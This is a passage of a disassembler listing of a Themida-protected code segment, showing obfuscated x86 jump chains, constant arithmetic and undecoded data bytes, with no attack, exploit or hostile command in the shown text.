; ---------------------------------------------------------------------------


loc_5AC2EB:				; CODE XREF: Themida_:005AF070j
		popa
		jmp	loc_5A27C8
; ---------------------------------------------------------------------------


loc_5AC2F1:				; CODE XREF: Themida_:0059983Aj
		mov	[esp], ebp
		jmp	loc_5A59F1
; ---------------------------------------------------------------------------


loc_5AC2F9:				; CODE XREF: Themida_:005A3A9Dj
		push	edx
		mov	dl, 27h
		xor	dl, 0CDh
		push	ecx
		jmp	loc_5A6459
; ---------------------------------------------------------------------------


loc_5AC305:				; CODE XREF: Themida_:0059D53Dj
		jnp	loc_5A464E
		add	edi, 8B3F063Ah
		mov	ebx, edi
		pop	edi
		sub	ebx, 0DE47EF5Ch
		jmp	loc_59B5CD
; ---------------------------------------------------------------------------


loc_5AC31F:				; CODE XREF: Themida_:0059B661j
		inc	eax
		not	eax
		jmp	loc_59B08B
; ---------------------------------------------------------------------------


loc_5AC327:				; CODE XREF: Themida_:0059BB48j
		xor	edx, 50F478D0h
		jge	loc_5AB394
		jmp	loc_5A2E06
; ---------------------------------------------------------------------------
		dd 53B75366h
		db 0Ch,	2Ch
; ---------------------------------------------------------------------------


loc_5AC33E:				; CODE XREF: Themida_:005A7587j
		xor	edi, 20763594h
		sub	edi, 0C024417h
		sub	ebp, edi
		mov	edi, [esp]
		jmp	loc_59A587
; ---------------------------------------------------------------------------
		dd 89240C89h, 4C181E1h,	83000000h, 0C8704E9h, 24248B24h
		dd 0B8240489h, 380A7D07h, 7DB7BB53h, 0D8315812h, 0E9241C8Bh
		dd 0FFFF9B1Dh
; ---------------------------------------------------------------------------


loc_5AC380:				; CODE XREF: Themida_:005A217Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esi
		push	ebx
		xor	dword ptr [esp], 7C707050h
		pop	eax
		xor	eax, 7C707050h
		mov	ebx, [esp]
		jmp	loc_5AA286
; ---------------------------------------------------------------------------


loc_5AC3A4:				; CODE XREF: Themida_:005A00B5j
		add	ecx, edi
		add	ecx, 59FF4778h
		sub	ecx, 1511053Dh
		push	edx
		push	ebp
		mov	ebp, 1F550FCBh
		jmp	loc_5A4DCB
; ---------------------------------------------------------------------------


loc_5AC3BE:				; CODE XREF: Themida_:005AD367j
		add	esp, 4
		xchg	edx, esi
		jmp	loc_5A740F
; ---------------------------------------------------------------------------
		dd 4EC8159h, 89000000h,	8852241Ch, 0E9F388E6h, 0FFFED9E7h
; ---------------------------------------------------------------------------


loc_5AC3DC:				; CODE XREF: Themida_:005AB1A2j
		shl	edi, 2
		jmp	loc_5A97F8
; ---------------------------------------------------------------------------


loc_5AC3E4:				; CODE XREF: Themida_:005A7A48j
		add	ebx, 4
		jmp	loc_5A1745
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 24440100h, 815E5804h, 4C6h, 4916800h, 4890000h
		dd 0DB1BE924h, 30ACFFFEh, 65A568D8h, 0C0E90000h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC41B:				; CODE XREF: Themida_:0059F9A6j
		add	dword ptr [esp], 11700B53h
		sub	[esp], eax
		sub	dword ptr [esp], 11700B53h
		pop	eax
		sub	eax, 54DBB17Ah
		add	ebx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		push	1ABFh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_59A88D
; ---------------------------------------------------------------------------


loc_5AC45B:				; CODE XREF: Themida_:005A0FEFj
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF02CFE9h, 0D831ADFFh, 366268h, 24148900h, 0A34E7BBAh
		dd 7E2C12Ah, 21DF8B0Fh,	91E9FFFFh, 31FFFF87h, 0C33240Ch
		dd 335D5C24h, 248B241Ch, 9E69E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC49E:				; CODE XREF: Themida_:005A0622j
		pop	ebp
		add	esp, 4
		shl	eax, cl
		jmp	loc_59880D
; ---------------------------------------------------------------------------
		dd 53240C89h, 0F4542EBBh, 41DAB91Ch, 0D1F761B1h, 0AE850F49h
		dd 8100002Ah, 55281DE1h, 468A0F43h, 0C1FFFFE7h
		db 0E9h, 4
; ---------------------------------------------------------------------------


loc_5AC4D2:				; CODE XREF: Themida_:005A3865j
		add	ebx, eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 54A66399h
		sub	ebx, ebp
		pop	ebp
		pop	eax
		push	eax
		jmp	loc_59ECDC
; ---------------------------------------------------------------------------


loc_5AC4EC:				; CODE XREF: Themida_:0059F891j
		pop	ebx
		jmp	loc_5AB56C
; ---------------------------------------------------------------------------
		dw 0CB29h
		dd 241C8759h, 241C895Ch, 6D90B951h, 0BE562D54h,	47A17FB7h
		dd 12AFEE81h, 870F7F33h, 0FFFF478Bh, 0FFE9EE81h, 0F3898E85h
		dd 0BADFE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC522:				; CODE XREF: Themida_:005A1EBFj
		mov	[esp], edi
		push	ebx
		mov	ebx, 4
		jmp	loc_5A3A78
; ---------------------------------------------------------------------------


loc_5AC530:				; CODE XREF: Themida_:00598BC0j
		dec	ah
		not	ah
		sub	ah, 0DFh
		jmp	loc_5A7E80
; ---------------------------------------------------------------------------
		dd 5C240487h, 3EA768h, 241C8900h, 564F4CBBh, 38BD5517h
		dd 8104540Eh, 0B3616DEDh, 81D5F752h, 921A6AEDh,	0E9E82949h
		dd 0FFFF2AD3h
; ---------------------------------------------------------------------------


loc_5AC568:				; CODE XREF: Themida_:005AEDEBj
		xchg	edx, [esp]
		pop	esp
		xor	al, dh
		pop	edx
		push	ecx
		mov	cl, 2Eh
		add	cl, 0FFh
		sub	bl, cl
		pop	ecx
		push	ecx
		push	eax
		push	ecx
		mov	cl, 62h
		mov	al, cl
		pop	ecx
		sub	esp, 4
		jmp	loc_5A3BAD
; ---------------------------------------------------------------------------


loc_5AC588:				; CODE XREF: Themida_:0059DF53j
		mov	[esp], ax
		push	375Ah
		mov	[esp], edx
		mov	dh, 73h
		sub	dh, 0FFh
		xor	dh, 62h
		jmp	loc_59A5B2
; ---------------------------------------------------------------------------


loc_5AC5A1:				; CODE XREF: Themida_:005ACE82j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5994D5
; ---------------------------------------------------------------------------


loc_5AC5AD:				; CODE XREF: Themida_:005AA70Aj
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 3CC5561h
		add	ebx, esi
		sub	ebx, 3CC5561h
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 4
		jmp	loc_5A7FE8
; ---------------------------------------------------------------------------


loc_5AC5D2:				; CODE XREF: Themida_:loc_5A524Dj
		jmp	loc_5A93F7
; ---------------------------------------------------------------------------


loc_5AC5D7:				; CODE XREF: Themida_:0059CEBCj
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		jmp	loc_598FE4
; ---------------------------------------------------------------------------


loc_5AC5E6:				; CODE XREF: Themida_:005AD08Aj
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC5EF:				; CODE XREF: Themida_:005ACCD0j
		sub	eax, 6B9E7975h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5AB190
; ---------------------------------------------------------------------------


loc_5AC602:				; CODE XREF: Themida_:005A622Fj
		mov	[esp], edx
		push	esp
		jmp	loc_5A5D8D
; ---------------------------------------------------------------------------


loc_5AC60B:				; CODE XREF: Themida_:loc_5A6347j
		sub	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_59E90C
; ---------------------------------------------------------------------------


loc_5AC61C:				; CODE XREF: Themida_:005AC1BDj
		pop	ebp
		jmp	loc_5A018F
; ---------------------------------------------------------------------------


loc_5AC622:				; CODE XREF: Themida_:005A4C17j
		mov	eax, [esp]
		push	ebx
		push	1D0Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AE5C6
; ---------------------------------------------------------------------------


loc_5AC64C:				; CODE XREF: Themida_:005A67EAj
		mov	bl, al
		pop	eax
		pop	edx
		sub	al, bl
		pop	ebx
		add	al, 0A5h
		pop	ecx
		jmp	loc_59E222
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 1CE3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5AC665:				; CODE XREF: Themida_:00599F67j
		add	edx, ebx
		jmp	loc_5A9F24
; ---------------------------------------------------------------------------


loc_5AC66C:				; CODE XREF: Themida_:loc_5AC2A4j
		pop	dword ptr [edi+40h]
		jmp	loc_5A498C
; ---------------------------------------------------------------------------


loc_5AC674:				; CODE XREF: Themida_:005A5C9Bj
					; Themida_:005A7EBDj
		pop	edx
		jmp	loc_5AEAFD
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 70840F02h, 81FFFF12h, 623DDDE9h, 5AC981D4h, 0E9332656h
		dd 0FFFF813Ch
; ---------------------------------------------------------------------------


loc_5AC694:				; CODE XREF: Themida_:005A9542j
		pop	dword ptr [esp]
		pop	esp
		push	3E60h
		jmp	loc_5A1B8A
; ---------------------------------------------------------------------------


loc_5AC6A2:				; CODE XREF: Themida_:0059DBC4j
		add	ebx, edx
		jmp	loc_5AAC09
; ---------------------------------------------------------------------------


loc_5AC6A9:				; CODE XREF: Themida_:0059A278j
		xor	edi, 66312EFh
		push	2191h
		mov	[esp], eax
		mov	eax, 414040E5h
		neg	eax
		push	ebp
		mov	ebp, 25B85600h
		add	ebp, 44096E98h
		push	ebx
		jmp	loc_5A030F
; ---------------------------------------------------------------------------


loc_5AC6D0:				; CODE XREF: Themida_:005A715Fj
		xor	al, 89h
		jnp	loc_59F1BE
		jmp	loc_5AE68C
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FEF545E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC6E5:				; CODE XREF: Themida_:00598E8Bj
		push	esi
		mov	esi, 7F014AB4h
		sub	ebx, esi
		jmp	loc_5A8B6C
; ---------------------------------------------------------------------------


loc_5AC6F2:				; CODE XREF: Themida_:005ACF9Cj
		push	esi
		mov	esi, 20F623E6h
		add	[esp+4], esi
		pop	esi
		pop	ebp
		sub	ebp, 20F623E6h
		pop	eax
		push	ecx
		mov	ecx, 0DE5FF141h
		jmp	loc_5AC988
; ---------------------------------------------------------------------------
		dd 73E98159h, 0F28C046h, 0FF7A8E84h, 6E1C1FFh, 0FFCD2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC725:				; CODE XREF: Themida_:005A06C6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_59F589
; ---------------------------------------------------------------------------


loc_5AC737:				; CODE XREF: Themida_:005986AFj
		xor	edx, 0A9910682h
		push	eax
		mov	eax, 0FD02028h
		add	eax, 21B67230h
		push	edx
		mov	edx, 3ADF663Dh
		add	edx, 6C751A1Eh
		jmp	loc_5A55A5
; ---------------------------------------------------------------------------


loc_5AC759:				; CODE XREF: Themida_:005A8B15j
		pop	esp
		jmp	loc_5A24B6
; ---------------------------------------------------------------------------
		db 64h
		dd 25E932FFh
		db 0BCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC767:				; CODE XREF: Themida_:005AA096j
		mov	ebx, ebp
		pop	ebp
		pop	edx
		push	41EAh
		mov	[esp], ecx
		mov	ecx, 12884444h
		jmp	loc_59ECA4
; ---------------------------------------------------------------------------
		db 31h,	0D9h, 53h
		dd 0C381E389h, 4, 0FF07FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC78D:				; CODE XREF: Themida_:005996B9j
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		push	76EFh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5AAC5F
; ---------------------------------------------------------------------------
		db 0Fh,	8Eh, 52h
		dd 80FFFEBEh, 0EA882BF5h, 3E2C059h, 28A2EA80h, 87045AD0h
		dd 0D000F004h, 872CF02Ch, 84E9AE04h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC7CF:				; CODE XREF: Themida_:005A1F99j
					; Themida_:005A7AC2j
		mov	[esp], ecx
		push	esi
		jmp	loc_59EF7F
; ---------------------------------------------------------------------------


loc_5AC7D8:				; CODE XREF: Themida_:005A9A0Cj
					; Themida_:005ADCD3j
		mov	ecx, 74734377h
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 25AE10B4h
		jmp	loc_59CFDE
; ---------------------------------------------------------------------------


loc_5AC7FB:				; CODE XREF: Themida_:0059D473j
		jns	loc_59F1B9
		jmp	loc_5A50B4
; ---------------------------------------------------------------------------
		dw 41E9h
		dd 89FFFF22h, 8F5C241Ch, 0BB76E902h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AC816:				; CODE XREF: Themida_:0059BC73j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5AA0A4
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 0FFFEE68Eh, 15DEF89h, 0C335FF9h,	240C3124h
		dd 5C240C33h, 31241C33h, 44E9241Ch, 56FFFFFCh, 5E2414F7h
		dd 0FF134AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5AC859:				; CODE XREF: Themida_:005A205Aj
		sub	esp, 4
		jmp	loc_5A4042
; ---------------------------------------------------------------------------


loc_5AC861:				; CODE XREF: Themida_:005AB972j
		xor	edx, 64A41935h
		add	edx, 29DB4273h
		not	edx
		xor	edx, 0AAB67C80h
		push	eax
		mov	eax, 625221D3h
		xor	eax, 66475951h
		add	edx, 2CB11D3Bh
		jmp	loc_5A9B55
; ---------------------------------------------------------------------------


loc_5AC88B:				; CODE XREF: Themida_:005A6D34j
		push	8F8h
		mov	[esp], edx
		jmp	loc_5ABDBE
; ---------------------------------------------------------------------------
		dd 8853B5B6h, 5BF988F7h, 5A2434FFh, 21BAE9h, 66F82800h
		dd 8668665Bh, 1C89666Ah, 0E9D1B724h, 0FFFF2BE4h
; ---------------------------------------------------------------------------


loc_5AC8BC:				; CODE XREF: Themida_:005AD998j
		or	eax, 79276846h
		jb	loc_5A4EE9
		jmp	loc_5A8EB4
; ---------------------------------------------------------------------------
		dd 0B0C68h, 24148900h, 1FEE6855h, 0AE955DAh, 81FFFF16h
		dd 7738CEBh, 0E2FEE979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC8EA:				; CODE XREF: Themida_:005A3122j
		push	ebx
		push	edx
		mov	dh, 3
		jmp	loc_5A402F
; ---------------------------------------------------------------------------


loc_5AC8F3:				; CODE XREF: Themida_:005A1410j
		jnz	loc_59B160
		sub	al, 0E0h
		sub	bl, al
		pop	ax
		push	dword ptr [esp]
		mov	esi, esi
		sub	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		push	5AF02E9h
		pop	esi
		sub	esi, 0D420DF8Fh
		jmp	loc_5A6C89
; ---------------------------------------------------------------------------


loc_5AC926:				; CODE XREF: Themida_:005A1994j
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_5A269A
; ---------------------------------------------------------------------------


loc_5AC935:				; CODE XREF: Themida_:005A4846j
		mov	ecx, 4
		sub	esi, 70DF078Ch
		jmp	loc_59EE2C
; ---------------------------------------------------------------------------


loc_5AC945:				; CODE XREF: Themida_:0059BE2Bj
		jmp	loc_5AA941
; ---------------------------------------------------------------------------


loc_5AC94A:				; CODE XREF: Themida_:loc_5A0256j
					; Themida_:005AEFC3j
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A138F
; ---------------------------------------------------------------------------


loc_5AC961:				; CODE XREF: Themida_:0059FC09j
		push	ecx
		mov	ecx, 7DDE7365h
		jmp	loc_5A5F18
; ---------------------------------------------------------------------------


loc_5AC96C:				; CODE XREF: Themida_:0059CA11j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AC971:				; CODE XREF: Themida_:0059FB7Ej
		mov	ecx, eax
		pop	eax
		add	ecx, 59C94DA2h
		add	ecx, eax
		push	ebx
		mov	ebx, 59C94DA2h
		push	ebx
		jmp	loc_5A6EF7
; ---------------------------------------------------------------------------


loc_5AC988:				; CODE XREF: Themida_:005AC70Bj
		add	ebp, 24736628h
		add	ebp, ecx
		sub	ebp, 24736628h
		pop	ecx
		or	ecx, ebp
		pop	ebp
		xor	ecx, 1F5B7FFFh
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5AF36A
; ---------------------------------------------------------------------------


loc_5AC9AA:				; CODE XREF: Themida_:0059DA69j
		mov	[esp], eax
		push	edx
		mov	edx, 338456C6h
		mov	eax, 393C21D9h
		xor	eax, 23545F61h
		neg	eax
		jmp	loc_59BE30
; ---------------------------------------------------------------------------
		dd 41BE564Bh, 177F731h,	9EE95EF3h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AC9D3:				; CODE XREF: Themida_:005A01B5j
		push	519869EDh
		mov	ebp, [esp]
		add	esp, 4
		sub	dword ptr [esp+8], 51512EABh
		add	[esp+8], ebp
		add	dword ptr [esp+8], 51512EABh
		pop	ebp
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_59902D
; ---------------------------------------------------------------------------


loc_5AC9FC:				; CODE XREF: Themida_:005A762Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5AD62D
; ---------------------------------------------------------------------------
		dd 9E6855B8h, 0D5F0E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACA1E:				; CODE XREF: Themida_:005ABD93j
		sub	ebx, 1A3F044Bh
		pop	esi
		jmp	loc_5A072D
; ---------------------------------------------------------------------------


loc_5ACA2A:				; CODE XREF: Themida_:005A2321j
		or	eax, 55177639h
		xor	eax, 233B7C52h
		jmp	loc_599D72
; ---------------------------------------------------------------------------


loc_5ACA39:				; CODE XREF: Themida_:005AC059j
		xor	ebx, 7E11CD27h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, edx
		push	ebp
		mov	ebp, 8AB234Ch
		neg	ebp
		push	eax
		mov	eax, 1437F44h
		shl	eax, 1
		sub	eax, 273A6CB6h
		xor	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		pop	edx
		push	esi
		jmp	loc_59A404
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4EC8100h, 89000000h, 0E189240Ch, 4C181h, 0BA520000h
		dd 4, 0E95AD129h, 0FFFEC17Eh
; ---------------------------------------------------------------------------


loc_5ACA90:				; CODE XREF: Themida_:0059E51Aj
		push	7168h
		mov	[esp], ecx
		jmp	loc_5AC1F3
; ---------------------------------------------------------------------------


loc_5ACA9D:				; CODE XREF: Themida_:005A021Aj
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, 78411C12h
		add	esi, eax
		sub	esi, 78411C12h
		jmp	loc_5AD645
; ---------------------------------------------------------------------------
		dd 0F6EF480h, 0FF3D008Bh, 10C480FFh, 0E9E28852h, 0FFFF02A8h
; ---------------------------------------------------------------------------


loc_5ACAD0:				; CODE XREF: Themida_:005A0D5Fj
		mov	ebx, esi
		jmp	loc_5A108C
; ---------------------------------------------------------------------------


loc_5ACAD7:				; CODE XREF: Themida_:0059FB0Ej
		pop	ebp
		xor	eax, edx
		pop	edx
		push	eax
		jmp	loc_59FC24
; ---------------------------------------------------------------------------


loc_5ACAE1:				; CODE XREF: Themida_:005AE56Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 8
		jmp	loc_5A97B0
; ---------------------------------------------------------------------------


loc_5ACAF3:				; CODE XREF: Themida_:005A35D2j
		mov	ebx, 0F864046h
		sub	ebx, 0F3831454h
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, 148A3E85h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 5FC661BEh
		push	esi
		mov	esi, 0A482186h
		jmp	loc_5A2277
; ---------------------------------------------------------------------------


loc_5ACB24:				; CODE XREF: Themida_:005AF3C6j
		push	ecx
		mov	cl, 5Bh
		mov	al, cl
		jmp	loc_59F8F1
; ---------------------------------------------------------------------------


loc_5ACB2E:				; CODE XREF: Themida_:0059DB47j
		sub	ecx, edi
		pop	edi
		xor	ecx, 2D01EBEh
		add	ecx, 18B83EFBh
		xor	ecx, 11B19EAh
		push	ecx
		push	eax
		mov	eax, 52C23160h
		sub	[esp+4], eax
		pop	eax
		pop	esi
		add	esi, 52C23160h
		pop	ecx
		add	[esp+4], esi
		pop	esi
		jmp	loc_5ABE00
; ---------------------------------------------------------------------------
		db 0BAh, 0FCh, 3Eh
		dd 0E2C16FADh, 0E0CE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACB6E:				; CODE XREF: Themida_:005ACE50j
		push	ebx
		push	738D4AA8h
		mov	ebx, [esp]
		jmp	loc_59F34D
; ---------------------------------------------------------------------------


loc_5ACB7C:				; CODE XREF: Themida_:005AE0D3j
		pop	ebp
		push	ebp
		push	edx
		jmp	loc_59A837
; ---------------------------------------------------------------------------


loc_5ACB84:				; CODE XREF: Themida_:005ABD8Cj
		push	esp
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4E8F341Ah
		or	ebx, 72C81B47h
		neg	ebx
		shr	ebx, 5
		neg	ebx
		and	ebx, 419A39FAh
		add	ebx, 0BE6DC60Ah
		add	edi, ebx
		pop	ebx
		add	edi, 4
		jmp	loc_5AF127
; ---------------------------------------------------------------------------


loc_5ACBB8:				; CODE XREF: Themida_:00599FFCj
					; Themida_:005A9B7Ej
		pop	edx
		jmp	loc_5A390A
; ---------------------------------------------------------------------------


loc_5ACBBE:				; CODE XREF: Themida_:005A796Bj
		add	esp, 4
		add	ecx, 1
		xor	ecx, 0CF4399D8h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5A9C6D
; ---------------------------------------------------------------------------


loc_5ACBD5:				; CODE XREF: Themida_:0059A605j
		mov	[esp], ecx
		jmp	loc_5A6946
; ---------------------------------------------------------------------------


loc_5ACBDD:				; CODE XREF: Themida_:005AE64Ej
		push	esi
		push	ebp
		mov	ebp, 45712B54h
		jmp	loc_5AF22A
; ---------------------------------------------------------------------------


loc_5ACBE9:				; CODE XREF: Themida_:005A1F25j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 50A66456h
		jmp	loc_59D040
; ---------------------------------------------------------------------------
		dd 4C581h, 0ED810000h, 4, 0FF35ADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5ACC0D:				; CODE XREF: Themida_:005A7EEFj
		pop	ebx
		or	ebx, 5DC9690Ah
		jmp	loc_5A23A1
; ---------------------------------------------------------------------------


loc_5ACC19:				; CODE XREF: Themida_:0059DA52j
		not	esi
		xchg	esi, ebp
		jmp	loc_5ADD37
; ---------------------------------------------------------------------------


loc_5ACC22:				; CODE XREF: Themida_:005A0180j
		pop	esp
		mov	[esp], edx
		push	751A7FA5h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		dec	edx
		js	loc_5A22DC
		shl	edx, 1
		jnz	loc_5ADF52
		xor	edx, 8B21CDFFh
		push	ebp
		mov	ebp, edx
		push	esi
		mov	esi, ebp
		mov	eax, esi


loc_5ACC52:				; CODE XREF: Themida_:005A0457j
		mov	[esp], edi
		push	esp
		jmp	loc_599725
; ---------------------------------------------------------------------------
		align 4
		dd 0B15166D0h, 66C8288Eh, 83240C8Bh, 0CE902C4h
		db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5ACC6F:				; CODE XREF: Themida_:0059BF9Ej
		mov	esi, [esp]
		push	eax
		jmp	loc_5A6A86
; ---------------------------------------------------------------------------


loc_5ACC78:				; CODE XREF: Themida_:005A1F36j
		push	esp
		pop	ebx
		push	edx
		push	eax
		mov	eax, 3CA95C35h
		mov	edx, 3CA95C39h
		sub	edx, eax
		pop	eax
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 4
		jmp	loc_5A545E
; ---------------------------------------------------------------------------


loc_5ACC99:				; CODE XREF: Themida_:0059B89Bj
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5A86CE
; ---------------------------------------------------------------------------


loc_5ACCB9:				; CODE XREF: Themida_:0059BFA9j
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_59DD61
; ---------------------------------------------------------------------------


loc_5ACCC9:				; CODE XREF: Themida_:005A5F35j
		add	eax, 6B9E7975h
		add	eax, edi
		jmp	loc_5AC5EF
; ---------------------------------------------------------------------------
		db 58h,	0D1h, 0E0h
		dd 9B6F8925h, 72A7350Ch, 0D8F72B74h, 8EC8A235h,	0E9C629D1h
		dd 0FFFF206Ah
; ---------------------------------------------------------------------------


loc_5ACCF0:				; CODE XREF: Themida_:0059A7A6j
		mov	edx, 52A00D56h
		jmp	loc_5AAEBA
; ---------------------------------------------------------------------------


loc_5ACCFA:				; CODE XREF: Themida_:005AA0BCj
					; Themida_:005AB5CBj
		inc	al
		jo	loc_598A4D
		or	al, 0A2h
		jp	loc_598C19
		jmp	loc_5A7870
; ---------------------------------------------------------------------------
		db 0F7h
		dd 88FB8AD9h
		db 0DAh
; ---------------------------------------------------------------------------


loc_5ACD15:				; CODE XREF: Themida_:00599346j
		jmp	loc_59F000
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 62B85024h, 0E90EC529h, 0FFFF48A1h
; ---------------------------------------------------------------------------


loc_5ACD28:				; CODE XREF: Themida_:005A1DA9j
		add	ch, ah
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	ah, ch
		mov	dh, ah
		pop	eax
		mov	ecx, [esp]
		jmp	loc_5AAA59
; ---------------------------------------------------------------------------


loc_5ACD3E:				; CODE XREF: Themida_:005A3DBBj
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 3B8B6824h, 0E95F1FB4h, 0FFFFAE92h
; ---------------------------------------------------------------------------


loc_5ACD54:				; CODE XREF: Themida_:005A839Fj
		sub	edi, 2B745770h
		add	edi, edx
		add	edi, 2B745770h
		pop	edx
		pop	ecx
		push	1E0h
		mov	[esp], edx
		mov	edx, 2
		sub	edi, edx
		jmp	loc_59A909
; ---------------------------------------------------------------------------


loc_5ACD78:				; CODE XREF: Themida_:00598EB5j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 744A46h
		push	21E0h
		mov	[esp], edx
		jmp	loc_5A9C0D
; ---------------------------------------------------------------------------
		dd 4CC1B951h, 0E95726CEh, 145Ah, 0FF2434FFh, 83582434h
		dd 0C48104C4h, 4, 8904EC83h, 0A68242Ch,	5D06D337h, 0D41D6005h
		dd 6F412D78h, 21E977BAh
		db 1Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5ACDC7:				; CODE XREF: Themida_:0059857Fj
		mov	ebp, 2E1B7E3Eh
		xor	edx, ebp
		pop	ebp
		dec	edx
		jg	loc_5A6FF8
		xor	edx, 7BCA0505h
		jnz	loc_59DFD0
		xor	edx, 0F2336367h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4


loc_5ACDF0:				; CODE XREF: Themida_:005AE322j
		not	ebp
		sub	ebp, 2E6165BCh
		sub	ebp, 6F27824Dh
		add	ecx, 3CE058C1h
		jmp	loc_5AB6D3
; ---------------------------------------------------------------------------


loc_5ACE09:				; CODE XREF: Themida_:loc_5A7510j
		jmp	loc_59940C
; ---------------------------------------------------------------------------


loc_5ACE0E:				; CODE XREF: Themida_:005989AFj
					; Themida_:005AE86Dj
		mov	[esp], edx
		mov	dl, 51h
		add	dl, 7Fh
		mov	ah, 75h
		add	ah, dl
		pop	edx
		jmp	loc_59E17E
; ---------------------------------------------------------------------------


loc_5ACE20:				; CODE XREF: Themida_:005A6D90j
		xchg	ebp, [esp]
		jmp	loc_5A0DDF
; ---------------------------------------------------------------------------


loc_5ACE28:				; CODE XREF: Themida_:00599216j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 28FB0F46h
		add	eax, 17882C61h
		sub	eax, ecx
		sub	eax, 17882C61h
		add	eax, 28FB0F46h
		pop	ecx
		jmp	loc_5ACB6E
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 0FF5067E9h, 4ECBDFFh, 0CD81459Ch, 15A101D4h,	0E903EDC1h
		dd 0FFFF631Eh
; ---------------------------------------------------------------------------


loc_5ACE70:				; CODE XREF: Themida_:0059BD17j
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A9F72
; ---------------------------------------------------------------------------


loc_5ACE7C:				; CODE XREF: Themida_:005A9F6Dj
		add	edx, 4
		jmp	loc_5AC5A1
; ---------------------------------------------------------------------------


